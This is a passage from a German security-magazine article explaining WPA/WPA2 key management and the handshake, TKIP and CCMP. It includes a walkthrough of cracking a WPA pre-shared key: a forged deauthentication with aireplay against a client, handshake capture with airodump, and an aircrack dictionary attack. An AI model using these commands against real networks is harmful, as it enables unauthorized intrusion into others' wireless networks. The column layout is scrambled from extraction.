für GTK-Verlängerung.

Die PMK (Pairwise Master Key)-


Erstellung hängt von der benutzten
Authentifikationsmethode ab:

• wenn ein PSK (Pre-Shared Key)


benutzt wird, PMK = PSK. Der
PSK wird aus einer Passphra-
se (zwischen 8 bis 63 Zeichen)
oder einem 256-Bit-String ge-
neriert und stellt eine Lösung
für Privatnetzwerke und kleinere
Unternehmen, die keinen Au-
thentication Server haben, zur
Abbildung 5. Phase 1: Übereinkommen über die Sicherheitspolicy
Verfügung;
• wenn ein Authentication Server
benutzt wird, wird der PMK vom
MK der 802.1X-Authentifikation
abgeleitet.

Der PMK selbst wird für die Ver-


schlüsselung oder die Integritäts-
überprüfung niemals verwendet.
Anstelle davon wird er dazu benutzt,
einen temporären Encryption-Key
zu generieren – für Unicast-Traffic
ist das der PTK (Pairwise Transient
Key). Die Länge des PTK hängt
vom Verschlüsselungsprotokoll ab:
512 Bits bei TKIP und 384 Bits bei
CCMP. Der PTK besteht aus meh-
reren zugeordneten temporären
Schlüsseln: Abbildung 6. Phase 2: 802.1X-Authentifikation

• KCK (Key Confirmation Key Handshakes und dem Gruppen- stellung der Datenvertraulichkeit
– 128 Bits): Schlüssel zum Au- schlüssel-Handshake; während des 4-Wege-Handsha-
thentifizieren von Nachrichten • KEK (Key Encryption-Key – 128 kes und dem Gruppenschlüssel-
(MIC) während des 4-Wege- Bits): Schlüssel für die Sicher- Handshake;

www.hakin9.org hakin9 Nr. 1/2006 19


Thema der Ausgabe

Der Access Point initiiert die erste


Nachricht, indem er die Zufallszahl
ANonce wählt und diese an den
Supplicant sendet, wobei er die
Nachricht weder verschlüsselt noch
anderweitig vor Sabotage schützt.
Der Supplicant generiert seine eige-
ne Zufallszahl SNonce und kann nun
den PTK und die daraus abgeleiteten
temporären Schlüssel errechnen.
Anschließend sendet er SNonce und
den MIC-Schlüssel, den er aus der
zweiten Nachricht unter Benutzung
des KCK-Schlüssels errechnet hat.
Wenn der Authenticator die zweite
Abbildung 7. Phase 3: Schlüsselerstellung und -verteilung
Nachricht erhält, kann er SNonce
extrahieren (da die Nachricht nicht
verschlüsselt ist) und den PTK
bzw. die abgeleiteten temporären
Schlüssel berechnen. Jetzt kann er
den Wert des MICs in der zweiten
Nachricht verifizieren und dadurch
sicher sein, dass der Supplicant den
PMK kennt und den PTK bzw. die
abgeleiteten temporären Schlüssel
richtig berechnet hat.
Die dritte Nachricht, die vom
Authenticator an den Supplicant
gesendet wird, enthält den GTK (mit
dem KEK-Schlüssel verschlüsselt),
der von einem zufälligen GMK und
GNonce abgeleitet wurde (siehe
Abbildung 10 für Details) zusammen
mit einem MIC, der aus der dritten
Nachricht unter Benutzung des
Abbildung 8. Phase 3: Hierarchie durch paarweise generierte Schlüssel
KCK-Schlüssels berechnet wurde.
(Pairwise Key Hierarchy)
Wenn der Supplicant diese Nach-
• TK (Temporary Key – 128 Bbits): • die Verschlüsselungs- und Inte- richt erhält, wird der MIC überprüft
Schlüssel für die Datenverschlüs- gritätsschlüssel einzuführen; um sicherzustellen, dass der Authen-
selung (benutzt von TKIP oder • den GTK verschlüsselt zu trans- ticator den PMK kennt und den PTK
CCMP); portieren; bzw. die abgeleiteten temporären
• TMK (Temporary MIC Key – 2x64 • die Auswahl der Cipher-Suite zu Schlüssel richtig berechnet hat.
Bits): Schlüssel für die Datenau- bestätigen. Die letzte Nachricht bestätigt die
thentifizierung (benutzt nur von Vollendung des gesamten Handsha-
Michael mit TKIP). Jeweils ein Vier EAPOL-Schlüssel Nachrichten kes und zeigt an, dass der Suppli-
zugeordneter Schlüssel wird für werden während des 4-Wege- cant jetzt den Schlüssel einrichten
jede Seite der Kommunikation Handshakes zwischen dem Client wird und mit der Verschlüsselung
benutzt. und dem Access Point ausgetauscht. beginnt. Nach Empfang installiert
Dieser Vorgang wird in Abbildung 9 der Authenticator seine Schlüssel,
Diese Hierarchie wird in Abbildung 8 veranschaulicht. nachdem er den MIC-Wert überprüft
zusammengefasst. Der PTK wird vom PMK, einer hat. Dadurch haben sich der Mobile
Der vom Access Point initiierte festen Zeichenkette, der MAC- Device und der Access Point Encryp-
4-Wege-Handshake ermöglicht: Adresse des Access Points, der tion- und Integritäts-Keys besorgt,
MAC-Adresse des Clients und zwei errechnet und installiert und sind nun
• die Kenntnis des Clients vom Zufallszahlen (ANonce und SNonce, in der Lage, über einen sicheren Ka-
PMK zu bestätigen; die vom Authenticator bzw. vom Sup- nal als Unicast- oder Multicast-Traffic
• einen neuen PTK abzuleiten; plicant generiert werden) abgeleitet. zu kommunizieren.

20 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

Multicast-Traffic wird mit ei-


nem anderen Schlüssel, dem GTK
(Group Transient Key), geschützt,
der aus einem Master-Schlüssel,
genannt GMK (Group Master Key),
einer festen Zeichenkette, der MAC-
Adresse des Access Points und
einer Zufallszahl GNonce generiert
wird. Die Länge des GTK hängt vom
Verschlüsselungsprotokoll ab – 256
Bits für TKIP und 128 Bits für CCMP.
Der GTK ist in zwei zugeordnete
temporäre Schlüssel unterteilt:

• GEK (Group Encryption Key):


Schlüssel für die Datenverschlüs-
selung (wird von CCMP für die
Authentifizierung und Verschlüs-
selung und von TKIP benutzt);
• GIK (Group Integrity Key):
Schlüssel für die Datenauthen-
tifizierung (nur von Michael mit
TKIP benutzt).
Abbildung 9. Phase 3: 4-Wege-Handshake
Diese Hierarchie ist in Abbildung 10
zusammengefasst. wurde, gesendet wird. Nach Erhalt Data Unit) und einer MPDU (MAC
Zwei EAPOL-Schlüssel Nach- übernimmt der Authenticator den Protocol Data Unit). Beide beziehen
richten werden zwischen dem Client neuen GTK (nachdem er den MIC- sich auf ein einzelnes Datenpaket,
und dem Access Point während des Wert verifiziert hat). wobei jedoch MSDU die Daten vor
Gruppenschlüssel-Handshakes aus- Ein STAkey-Handshake existiert der Fragmentierung repräsentiert,
getauscht. Dieser Handshake nutzt ebenfalls, aber soll hier nicht be- während MPDUs die mehreren Da-
temporäre Schlüssel, die während handelt werden. Er unterstützt die teneinheiten nach der Fragmentie-
des 4-Wege-Handshakes generiert Erzeugung eines geheimen Über- rung sind. Der Unterschied ist beim
wurden (KCK und KEK). Dieser gangsschlüssels vom Access Point TKIP- und CCMP-Verschlüsselungs-
Vorgang ist in Abbildung 11 veran- für ad-hoc-Verbindungen, der als protokoll wichtig, weil im TKIP der
schaulicht. STAkey bezeichnet wird. MIC aus der MSDU berechnet wird,
Der Gruppenschlüssel-Handsha- während er im CCMP aus der MPDU
ke wird nur bei der Trennung eines Phase 4: errechnet wird.
Hosts benötigt, oder um den GTK auf RSNA-Datenvertraulichkeit Genau wie WEP basiert TKIP auf
Anfrage eines Clients zu erneuern. und -integrität dem RC4-Verschlüsselungsalgorith-
Der Authenticator initiiert die erste Alle Schlüssel, die vorher generiert mus, jedoch existiert es aus genau
Nachricht, indem er eine Zufallszahl wurden, werden in Protokollen be- einem Grund: um es zu ermöglichen,
GNonce wählt und einen neuen GTK nutzt, die RSNA-Datenvertraulich- WEP-Systeme zu aktualisieren, um
errechnet. Er sendet den verschlüs- keit und -integrität unterstützen: dadurch ein sichereres Protokoll
selten GTK (unter Benutzung des umzusetzen. TKIP wird für die WPA-
KEKs), die GTK-Sequenznummer • TKIP (Temporal Key Hash); Zertifizierung benötigt und ist als
und den MIC, den er aus dieser • CCMP (Counter-Mode/Cipher Option auch als Teil von RSN 802.11i
Nachricht berechnet hat, mithilfe von Block Chaining Message Au- inbegriffen. TKIP fügt für jede der ein-
KCK an den Supplicant. Wenn die thentication Code Protocol); gangs beschriebenen WEP-Schwach-
Nachricht vom Supplicant empfan- • WRAP (Wireless Robust Authen- stellen Abhilfe schaffende Maßnah-
gen wird, wird der MIC verifiziert und ticated Protocol). men bei:
der GTK kann entschlüsselt werden.
Die zweite Nachricht bestätigt Sie müssen ein wichtiges Konzept • Nachrichtenintegrität: ein neuer
den Abschluss des Gruppenschlüs- verstanden haben, bevor diese MIC (Message Integrity Code),
sel-Handshakes, indem die GTK- Protokolle genauer beschrieben basierend auf dem Michael-
Sequenznummer und die MIC, die werden können – den Unterschied Algorithmus, kann in Software
für diese zweite Nachricht berechnet zwischen einer MSDU (MAC Service implementiert werden, die auf

www.hakin9.org hakin9 Nr. 1/2006 21


Thema der Ausgabe

ist, verworfen wird. Die Ausgabe von


Phase 2 und ein Teil des erweiterten
IV (plus ein Dummy-Byte) sind die
Eingabe für RC4, welches einen
Keystream über eine XOR-Verknüp-
fung mit der Klartext-MPDU, dem
MIC, der aus der MPDU berechnet
wird und dem alten ICV von WEP
generiert (siehe Abbildung 12).
Die MIC-Berechnung benutzt
den Michael-Algorithmus von Niels
Ferguson. Dieser wurde für TKIP
erstellt und hat ein Soll-Sicherheits-
level von 20 Bits (der Algorithmus
nutzt aus Performancegründen
keine Multiplikation, da er auf alter
Hardware für drahtlose Netzwerke
unterstützt werden soll, die später
auf WPA aktualisiert werden). Auf-
grund dieser Beschränkung werden
Abbildung 10. Phase 3: Gruppenschlüssel-Hierarchie Gegenmaßnahmen benötigt, um
das Verfälschen des MIC zu ver-
hindern. MIC-Fehler müssen dürfen
nicht häufiger als einmal pro Minute
auftauchen. Ansonsten wird eine
60-Sekunden-Sperre erzwungen
und neue Schlüssel (GTK und PTK)
müssen anschließend eingeführt
werden. Michael rechnet einen 8-
Oktett-langen Kontrollwert, genannt
MIC, aus und hängt ihn vor der Über-
tragung an die MSDU an. Der MIC
wird aus der Quelladresse (SA), Ziel-
adresse (DA), Klartext-MSDU und
dem dazugehörigen TMK berechnet
(in Abhängigkeit von der Kommuni-
kationsseite wird ein unterschiedli-
cher Schlüssel für den Versand und
den Empfang benutzt).
CCMP basiert auf der AES
Abbildung 11. Phase 3: Gruppenschlüssel-Handshake
(Advanced Encryption Standard)
langsamen Mikroprozessoren Das TKIP Schlüssel-Mixing-Schema Block-Cipher-Suite in dessen CCM-
läuft; ist in zwei Phasen untergliedert. Betriebsmodus, mit einer Länge des
• IV: neue Auswahlregeln für Phase 1 umfasst statische Daten Schlüssels und der Blöcke von 128
IV-Werte, die den IV als einen – den geheimen Session-Schlüssel Bits. AES ist für CCMP, was RC4
Replay-Counter (TSC oder TKIP TEK, die Sender-MAC-Adresse TA für TKIP ist, aber im Gegensatz zu
Sequence Counter) benutzen (einbezogen, um IV-Kollisionen zu TKIP, das dazu gedacht war sich an
und die Größe des IV erhöhen, verhindern) und die oberen 32 Bits vorhandene WEP-Hardware anzu-
um eine zweimalige Benutzung des IV. Phase 2 beinhaltet die Aus- passen, ist CCMP kein Kompromiss,
zu verhindern; gabe von Phase 1 und die unteren 16 sondern ein neues Protokolldesign.
• Per Packet Key Mixing: um Bits des IV, wobei alle Bits des Per CCMP benutzt den Counter-Modus
offensichtlich voneinander un- Packet Key-Felds für jeden neuen IV in Verbindung mit einer Methode zur
abhängige Encryption-Keys her- geändert werden. Der IV-Wert be- Nachrichtenauthentifikation, genannt
vorzubringen; ginnt immer mit 0 und wird für jedes Cipher Block Chaining (CBC-MAC),
• Schlüsselmanagement: neue gesendete Paket um 1 erhöht, wobei um einen MIC zu erstellen.
Mechanismen zur Schlüsselver- jede Nachricht, deren TSC nicht grö- Es wurden ebenfalls einige in-
teilung und -wechsel. ßer als der in der letzten Nachricht teressante Features hinzugefügt,

22 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

Abbildung 12. TKIP Key-Mixing-Schema und -verschlüsselung


wie zum Beispiel die Benutzung
eines einzelnen Schlüssels für die
Verschlüsselung und Authentifi-
kation (mit verschiedenen Initiali-
sierungsvektoren) oder das auch
nicht-verschlüsselte Daten von der
Authentifikation umfasst werden.
Das CCMP-Protokoll fügt der MP-
DU 16 Bytes hinzu: 8 Bytes für den
CCMP-Header und 8 Bytes für den
Abbildung 13. MIC-Berechnung unter Benutzung des Michael-Algorithmus MIC. Der CCMP-Header ist ein un-

Abbildung 14. CCMP-Verschlüsselung

www.hakin9.org hakin9 Nr. 1/2006 23


Thema der Ausgabe

te Modus, aber wurde letztend-


Listing 7. Auffinden in der Nähe liegender Netzwerke lich aufgrund von Problemen im
# airodump ath0 wpa-crk 0
Bereich des Geistigen Eigentums
und möglichen Lizenzkosten fallen
BSSID PWR Beacons # Data CH MB ENC ESSID gelassen. CCMP wurde daraufhin
00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo als verbindlich angenommen.
BSSID STATION PWR Packets ESSID WPA/WPA2-
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo
Schwachstellen
Obwohl seit der Veröffentlichung
etliche kleinere Schwächen in WPA/
Listing 8. Starten eines Wörterbuch-Angriffs WPA2 entdeckt wurden, war keine
von ihnen zu gefährlich, vorausge-
$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap setzt, einfache Sicherheitsempfeh-
Opening wpa-psk.cap
lungen werden befolgt.
Read 541 packets.
BSSID ESSID Encryption
Die brauchbarste Schwachstelle
00:13:10:1F:9A:72 hakin9demo WPA (1 handshake) ist der Angriff gegen den PSK-
Schlüssel von WPA/WPA2. Wie
bereits gesagt, stellt der PSK eine
Alternative zur PMK-Generierung
nach 802.1X dar und benutzt einen
Authentication Server. Es wird eine
Zeichenkette von 256 Bits oder eine
Passphrase von 8 bis 63 Zeichen be-
nutzt, um eine solche Zeichenkette
mithilfe eines bekannten Algorith-
mus zu generieren: PSK = PMK =
PBKDF2 (Passphrase, SSID, SSID-
Länge, 4096, 256), wobei PBKDF2
ein Verfahren ist, das in PKCS#5
benutzt wird, 4096 die Anzahl der
Hashwerte ist und 256 die Länge
der Ausgabe. Der PTK wird vom
PMK abgeleitet, indem der 4-Wege-
Handshake benutzt wird und alle
Informationen, die zur Berechnung
seines Wertes benutzt werden, wird
Abbildung 15. Schwacher WPA-PSK mit Aircrack gefunden
im Klartext übertragen.
verschlüsseltes Feld, das zwischen unteren 64 Bits verworfen werden). Die Stärke von PTK vertraut
dem MAC-Header und den ver- Der MIC wird dann an die Klartext- deshalb nur auf den PMK-Wert, was
schlüsselten Daten eingefügt wird daten im Counter-Modus zur Ver- bei PSK praktisch die Stärke der
und die 48-Bit-lange PN (Packet schlüsselung mit AES angehangen. Passphrase bedeutet. Wie von Ro-
Number = Erweiterter IV) und Group Der Counter wird aus einem Nonce, bert Moskowitz angedeutet könnte
Key KeyID enthält. Die PN wird für ähnlich dem des MIC, konstruiert, die zweite Nachricht des 4-Wege-
jede nachfolgende MPDU um eins allerdings mit einem zusätzlichen Handshakes sowohl Wörterbuch- als
erhöht. Counter-Feld, das mit 1 initialisiert auch offline durchgeführten Brute-
Die MIC-Berechnung benutzt und dann für jeden Block schrittwei- Force-Angriffen ausgesetzt sein.
den CBC-MAC-Algorithmus, der ei- se erhöht wird. Das cowpatty-Werkzeug wurde er-
nen beginnenden Nonce-Block (aus Das letzte Protokoll ist WRAP, stellt, um diesen Fehler auszunut-
den Priority-Feldern, der MPDU- das ebenfalls auf AES basiert, zen. Der Quellcode des Programms
Quelladresse und der um eins er- aber das authentifizierte Ver- wurde von Christophe Devine in
höhten PN berechnet) verschlüsselt schlüsselungsschma OCB (Offset Aircrack benutzt und verbessert, um
und die nachfolgenden Blöcke mit- Codebook Modus) benutzt (Ver- Wörterbuch- und Brute-Force-An-
hilfe von XOR verknüpft, um einen schlüsselung und Authentifikation griffe auf den PSK auch unter WPA
endgültigen MIC von 64 Bits Länge in einer einzelnen Berechnung). zu ermöglichen. Das Protokolldesign
zu erhalten (der eigentliche MIC ist OCB war der erste von der IEEE (4096 Hashwerte für jeden Pass-
ein 128-Bit-langer Block, weil die 802.11i-Arbeitsgruppe ausgewähl- phrase-Versuch) führt dazu, dass ein

24 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

Brute-Force-Angriff sehr langsam ist Min(AP_Mac, STA_Mac) || Max(AP_ mit ihnen verbundenen Clients er-
(nur ein paar hundert Passphrases Mac, STA_Mac) || Min(ANonce, kannt (siehe Listing 7).
pro Sekunde mit den derzeitigen SNonce) || Max(ANonce, SNonce)), Das Ergebnis kann wie folgt in-
Einzelprozessoren). Der PMK kann wobei PMK in unserem Fall gleich terpretiert werden: ein Access Point
nicht im Voraus berechnet (und in PSK ist. Nach der zweiten Nachricht mit der BSSID 00:13:10:1F:9A:72
Tabellen gespeichert) werden, weil kennt der Angreifer ANonce (aus der benutzt WPA-Verschlüsselung auf
die Passphrase zusätzlich noch ba- ersten Nachricht) und SNonce (aus Kanal 1 mit der SSID hakin9demo
sierend auf der ESSID verschlüsselt der zweiten Nachricht) und kann da- und ein Client, der durch die MAC-
wird. Es sollte eine gute Passphrase, mit anfangen den PSK-Wert zu erra- Adresse 00:0C:F1:19:77:5C identi-
die sich nicht im Wörterbuch finden ten, um den PTK und die abgeleiteten fiziert werden kann, ist mit diesem
lässt (mindestens 20 Zeichen), ge- temporären Schlüssel zu berechnen. Netzwerk verbunden und in ihm
wählt werden, um sich effektiv vor Wenn der PSK richtig erraten wird, authentifiziert (was bedeutet, dass
dieser Schwachstelle zu schützen. kann der MIC der zweiten Nachricht der 4-Wege-Handshake für diesen
Um diesen Angriff durchzufüh- mit dem dazugehörigen KCK erhalten Client bereits gemacht wurde).
ren, muss der Angreifer die Nach- werden – andernfalls muss erneut ge- Sobald das Zielnetzwerk gefun-
richten aus dem 4-Wege-Handshake raten werden. den wurde, sollte das Einfangen auf
aufzeichnen, indem er passiv das Nun wieder zu einem praktischen dem richtigen Kanal, um das Verpas-
drahtlose Netzwerk überwacht oder Beispiel. Es fängt genau wie unser sen von Paketen während des Scan-
einen Deauthentifizierungs-Angriff WEP-Cracking-Beispiel an. Der erste nens anderer Kanäle zu vermeiden,
durchführt (wie bereits beschrieben), Schritt ist die Aktivierung des Moni- gestartet werden:
um den Vorgang zu beschleunigen. tor-Modus:
Tatsächlich werden die ersten bei- # airodump ath0 wpa-psk 1
den Nachrichten benötigt, um anfan- # airmon.sh start ath0
gen zu können, PSK-Werte zu erraten. Berechtigte Clients sollten danach
Denken Sie daran, dass PTK = PRF-X Im nächsten Schritt werden in der deauthentifiziert werden, was sie
(PMK, Pairwise Key Expansion, Nähe liegende Netzwerke und die dazu zwingt, eine neue Authentifi-
zierungsanfrage zu initiieren. Das
ermöglicht es uns, die Nachrichten
Im Internet des 4-Wege-Handshakes aufzu-
• http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – IEEE 802.11i- zeichnen. Für diesen Angriff wird
Standard, ebenfalls Aireplay benutzt, das die
• http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi ausgewählten Clients mit der spezi-
Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley ellen BSSID deauthentifizieren wird,
– ISBN: 0-321-13620-9, indem es einen gefälschten Deau-
• http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – An inductive chosen plaintext thentifizierungs-Request sendet:
attack against WEP/WEP2 (Arbaugh),
• http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Weaknesses in the Key # aireplay -0 1 -a <BSSID>
Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir),
-c <client_mac> ath0
• http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – h1kari-Optimie-
rung,
• http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – Intercepting Mobile Com-
Der letzte Schritt ist es, einen Wör-
munications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner), terbuch-Angriff mithilfe von Aircrack
• http://airsnort.shmoo.com/ – AirSnort, zu starten (siehe Listing 8). Abbil-
• http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine), dung 15 zeigt die Ergebnisse.
• http://weplab.sourceforge.net/ – Weplab (Sanchez), Die andere Hauptschwachstelle
• http://www.wifinetnews.com/archives/002452.html – WPA PSK-Schwachstelle von WPA ist eine Möglichkeit für
(Moskowitz), einen Denial of Service während
• http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – Cowpatty WPA- des 4-Wege-Handshake. Changhua
PSK Cracking-Tools, He und John C. Mitchell stellten
• http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analysis of the 802.11i
fest, dass die erste Nachricht des
4-Way Handshake (He, Mitchell),
4-Wege-Handshake nicht authen-
• http://www.cs.umd.edu/%7ewaa/1x.pdf – An initial security analysis of the IEEE
802.1X standard (Arbaugh, Mishra),
tifiziert wird und jeder Client jede
• http://support.microsoft.com/?kbid=893357 – WPA2-Update für Microsoft Win- erste Nachricht solange speichern
dows XP SP2, muss, bis sie eine dritte (signierte)
• http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant, Nachricht erhalten. Dadurch ist der
• http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Part 1, Client potenziell angreifbar in Bezug
• http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Part 2. auf Speicherausschöpfung. Indem
man die erste Nachricht, die vom

www.hakin9.org hakin9 Nr. 1/2006 25


Thema der Ausgabe

Glossar
• AP – Access Point, eine Basisstation für ein Wi-Fi-Netzwerk, • MPDU – Mac Protocol Data Unit, Datenpaket vor der Frag-
das Clients in drahtlosen Netzwerken untereinander bzw. mit mentierung.
den Netzwerken verbindet. • MSDU – Mac Service Data Unit, Datenpaket nach der
• ARP – Address Resolution Protocol, Protokoll für die Um- Fragmentierung.
wandlung von IP-Adressen in MAC-Adressen. • PAE – Port Access Entity, 802.1x-logischer Port.
• BSSID – Basic Service Set Identifier, MAC-Adresse des • PMK – Pairwise Master Key, Hauptschlüssel der Hierarchie
Access Points. für paarweise generierte Schlüssel.
• CCMP – Counter-Mode/Cipher Block Chaining Message • PSK – Pre-Shared Key, Schlüssel, der aus der Passphrase
Authentication Code Protocol, Verschlüsselungsprotokoll, abgeleitet wird und den PMK ersetzt. Üblicherweise wird er
das bei WPA2 benutzt wird und auf der AES-Block Cipher- von einem echten Authenticator Server erstellt.
Suite basiert. • PTK – Pairwise Transient Key, Schlüssel, der aus dem
• CRC – Cyclic Redundancy Check, ein Pseudo-Integritätsal- PMK abgeleitet wird.
gorithmus, der im WEP-Protokoll benutzt wird (mittlerweile • RSN – Robust Security Network, 802.11i-Sicherheitsme-
als schlecht angesehen). chanismus (TKIP, CCMP etc.).
• EAP – Extensible Authentication Protocol, Framework für • RSNA – Robust Security Network Association, Security-
verschiedene Authentifikationsmethoden. Association, die in einem RSN benutzt wird.
• EAPOL – EAP Over LAN, Protokoll, das in drahtlosen Netz- • RSN IE – Robust Security Network Information Element,
werken zum Transport von EAP verwendet wird. sind Felder, die in einen Probe Response und Associa-
• GEK – Group Encryption Key, Schlüssel für die Datenver- tion Request eingeschlossene RSN-Informationen bein-
schlüsselung in Multicast-Traffic (ebenfalls für Integrität bei halten.
CCMP benutzt). • SSID – Service Set Identifier, die Kennung für ein drahtlo-
• GIK – Group Integrity Key, Schlüssel für die Datenverschlüs- ses Netzwerk (das gleiche wie die ESSID).
selung in Multicast-Traffic (bei TKIP benutzt). • STA – Station, ein Client im drahtlosen Netzwerk.
• GMK – Group Master Key, Hauptschlüssel der Gruppen- • TK – Temporary Key, Schlüssel für die Datenverschlüsse-
schlüssel-Hierarchie. lung in Unicast-Traffic (ebenfalls für die Integritätsüberprü-
• GTK – Group Transient Key, aus dem GMK abgeleiteter fung bei CCMP benutzt).
Schlüssel. • TKIP – Temporal Key Integrity Protocol, Verschlüsselungs-
• ICV – Integrity Check Value, Datenfeld, das zum Zwecke protokoll, das bei WPA benutzt wird und auf dem RC4-Al-
der Integrität an Klartextdaten angehangen wird (basiert gorithmus basiert (wie WEP).
auf dem als schwach eingestuften CRC32-Algorithmus). • TMK – Temporary MIC Key, Schlüssel für Datenintegrität in
• IV – Initialization Vector, Daten, die mit dem Encryption- Unicast-Traffic (bei TKIP verwendet).
Key kombiniert werden, um einen eindeutigen Keystream • TSC – TKIP Sequence Counter, Replay-Counter, der bei
zu erzeugen. TKIP benutzt wird (dasselbe wie Extended IV).
• KCK – Key Confirmation Key, Integritätsschlüssel, der • TSN – Transitional Security Network, Sicherheitsmecha-
Handshake-Nachrichten schützt. nismus vor 802.11i (WEP etc.).
• KEK – Key Encryption Key, Schlüssel zur Sicherstellung der • WEP – Wired Equivalent Privacy, Standard-Verschlüsse-
Vertraulichkeit bei Handshake-Nachrichten. lungsprotokoll für 802.11-Netzwerke.
• MIC – Message Integrity Code, Datenfeld, das zum Zwecke • WPA – Wireless Protected Access, Implementation einer
der Integrität an Klartextdaten angehangen wird (basiert auf frühen Version des 802.11i-Standards, basierend auf dem
dem Michael-Algorithmus). TKIP-Verschlüsselungsprotokoll.
• MK – Master Key, Hauptschlüssel, der dem Supplicant und • WRAP – Wireless Robust Authenticated Protocol, altes
dem Authenticator nach dem 802.1x-Authentifikationspro- Verschlüsselungsprotokoll, das bei WPA2 benutzt wird.
zess bekannt ist.

Access Point gesendet wird, fälscht, Die Sicherheit von Michael hängt einer einzelnen Nachricht und deren
kann ein Angreifer einen DoS-Angriff davon ab, dass die Kommunikation MIC-Wert voraus, so ist es möglich,
auf den Client durchführen, wenn es verschlüsselt wird. Während kryp- den geheimen MIC-Schlüssel zu er-
möglich ist, dass mehrere Sessions tografische MICs üblicherweise so mitteln. Deshalb ist es entscheidend,
gleichzeitig existieren können. gemacht sind, dass sie Known Plain- dass der MIC-Wert geheim gehal-
Der Michael Message Integrity text-Angriffen (bei denen der Angrei- ten wird. Die letztendlich bekannte
Code besitzt ebenfalls eine be- fer eine Klartext-Nachricht und deren Schwachstelle ist eine theoretische
kannte Schwachstelle, die aus des- MIC besitzt) standhalten, ist Michael Angriffsmöglichkeit gegen den Tem-
sen Design resultiert (das von der für solche Angriffe anfällig, da er um- poral Key Hash von WPA, der unter
802.11i-Task group forciert wurde). kehrbar ist. Setzt man die Kenntnis bestimmten Umständen (Kenntnis

26 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

Listing 9. Beispielkonfigurationsdatei von wpa_supplicant für WPA2


Über den Autor
Guillaume Lehembre ist ein fran- ap_scan=1 # Scan radio frequency and select appropriate access
zösischer Berater für IT-Sicherheit point
und arbeitet seit 2004 bei HSC network={ # First wireless network
(Hervé Schauer Consultants – http:// ssid="some_ssid" # SSID of the network
www.hsc.fr). Während seiner abwechs- scan_ssid=1 # Send Probe Request to find hidden SSID
lungsreichen Berufslaufbahn befasste proto=RSN # RSN for WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Pre-Shared Key authentication
er sich mit Audits, Forschungen und
pairwise=CCMP # CCMP protocol (AES encryption)
Penetration Tests und eignete sich
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
Erfahrung im Bereich der Sicherheit
}
drahtloser Netzwerke an. Er gab
ebenfalls öffentliche Vorträge und
veröffentlichte Dokumente über IT-Se- 802.11-Verletzungen, Deauthentifi- Pfad zur Konfigurationsdatei (-c-Op-
curity. Guillaume kann unter folgender zierung, Deassociation etc. richten, tion) ausgeführt werden:
E-Mail-Adresse kontaktiert werden: bietet.
guillaume.lehembre@hsc.fr # wpa_supplicant
WPA/WPA2 OS- -D madWi-Fi
Implementierung -dd -c /etc/wpa_supplicant.conf
bestimmter RC4-Schlüssel) zu einer In Windows ist die WPA2-Unterstüt- -i ath0
reduzierten Komplexität des Angriffs zung nicht von Anfang an eingebaut.
(von ∂128 auf ∂105) führt. Ein Update für Windows XP SP2 Alle theoretischen Schritte, die oben
WPA/WPA2 unterliegen ebenfalls (KB893357) wurde am 29. April beschrieben wurden, werden im
Schwachstellen, die sich auf andere 2005 veröffentlicht. Dadurch wurde Debug-Modus ausgegeben (AP-Ver-
Mechanismen des 802.11i-Stan- WPA2 und eine verbesserte Netz- bindung, 802.1X-Authentifizierung, 4-
dards auswirken, wie zum Beispiel werkerkennung hinzugefügt (siehe Wege-Handshake etc.). Sobald alles
die Angriffe mit 802.1X-Nachrich- Abbildung 16). Andere Betriebssys- funktioniert sollte wpa_supplicant im
tenfälschung (EAPoL Logoff, EA- teme von Microsoft müssen einen Daemon-Modus (ersetzen Sie die -
PoL Start, EAP Failure etc.), die externen Supplicant nutzen (kom- dd-Option mit -B) ausgeführt werden.
zuerst von William A. Arbaugh und merziell oder Open Source, wie zum Auf dem Macintosh wird WPA2
Arunesh Mishra beschrieben wurden Beispiel wpa_supplicant – die Win- seit der Veröffentlichung des 4.2-
und aufgrund fehlender Authentifi- dowsversion ist experimentell. Updates der Apple AirPort-Software
zierung möglich sind. Zu guter Letzt Unter Linux und *BSD war wpa_ unterstützt: AirPort Extreme-enabled
ist es wichtig anzumerken, dass die supplicant bereit für WPA2, als der Macintoshes, AirPort Extreme Base
Benutzung des WPA/WPA2-Proto- 802.11i-Standard herauskam. Der Station und dem AirPort Express.
kolls keinen Schutz vor Angriffen, externe Supplicant unterstützt eine
die sich gegen zugrunde liegende große Anzahl an EAP-Verfahren und Zusammenfassung
Technologien, wie zum Beispiel Schlüsselmanagement-Features für Es ist klar, dass WEP-Verschlüsse-
Hochfrequenzstörungen, DoS durch WPA, WPA2 und WEP. Es können lung keine ausreichende Sicherheit
mehrere Netzwerke mit verschieden- für drahtlose Netzwerke bietet und
artigen Verschlüsselungen, Schlüs- nur mit übergeordneten Verschlüs-
selmanagement und EAP-Verfahren selungslösungen (wie zum Beispiel
eingestellt werden – Listing 9 zeigt VPNs) benutzt werden kann. WPA
eine einfache WPA2-Konfigurati- ist eine sichere Lösung für aktua-
onsdatei. Der Standardort der Kon- lisierbare Geräte, die nicht WPA2
figurationsdatei von wpa_supplicant unterstützen. WPA2 jedoch wird
ist /etc/wpa_supplicant.conf. Die schon bald der Standard für Sicher-
